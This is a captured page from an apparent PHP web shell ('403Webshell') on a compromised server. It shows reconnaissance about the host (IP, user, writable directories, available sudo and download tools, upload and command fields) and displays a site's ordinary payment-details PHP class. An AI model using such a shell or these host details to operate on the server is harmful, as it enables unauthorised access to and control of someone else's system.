403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/modules/ttjs/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/modules/ttjs/code/PaidCommission.php
<?php
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace modules\ttjs\code;

use modules\ttjs\code\TtjsConfig as Config;

/**
 * Description of PaidCommission
 *
 * @author pegas
 */
class PaidCommission extends \app\classes\PDOElement {
    
    private $currency;

    public function __construct($id) {
        parent::__construct($id, "paid_commissions", array("id" => $id), "id", false, false, true);
        $cnf = new Config();
        $this->currency = $cnf->getConfig(Config::CURRENCY);
    }

    public function getInfoHTML($qr) {
        ob_start();
        $t = \app\classes\Translator::getInstance();
        ?>
        <h4 class="text-center" style="margin-top: 0px; margin-bottom: 0px;"><b><?php echo $t->_get("QR kód") ?></b></h4>       
        <?php if ($qr) { ?>
            <img style="margin-left: auto; margin-right: auto; display: block;" src="<?php echo $qr ?>" />
        <?php } else {
            ?>
            <div class="alert alert-info text-center" style="margin-top: 5px;">
                <?php echo $t->_get("QR kód pre platbu nebol vygenerovaný (neplatný IBAN).") ?>
            </div>
            <?php
        }
        ?>
        <h4 class="text-center" style="margin-top: 15px;"><b><?php echo $t->_get("Informácie o platbe") ?></b></h4>
        <table class="table table-striped">
            <tbody>
                <tr>
                    <td class="text-right"><b><?php echo $t->_get("Číslo účtu / IBAN") ?>:</b></td>
                    <td><?php echo $this->_get("iban") ?></td>
                </tr>
                <tr>
                    <td class="text-right"><b><?php echo $t->_get("Suma") ?>:</b></td>
                    <td><?php echo Currency::getRoundedVal($this->_get("amount"), $this->currency, true) ?></td>
                </tr>
                <tr>
                    <td class="text-right"><b><?php echo $t->_get("Variabilný symbol") ?>:</b></td>
                    <td><?php echo $this->_get("vs") ?></td>
                </tr>
                <tr>
                    <td class="text-right"><b><?php echo $t->_get("Špecifický symbol") ?>:</b></td>
                    <td><?php echo $this->_get("ss") ?></td>
                </tr>
                <tr>
                    <td class="text-right"><b><?php echo $t->_get("Poznámka") ?>:</b></td>
                    <td><?php echo $this->_get("note") ?></td>
                </tr>
            </tbody>
        </table>
        <?php
        $info = ob_get_contents();
        ob_end_clean();
        return $info;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit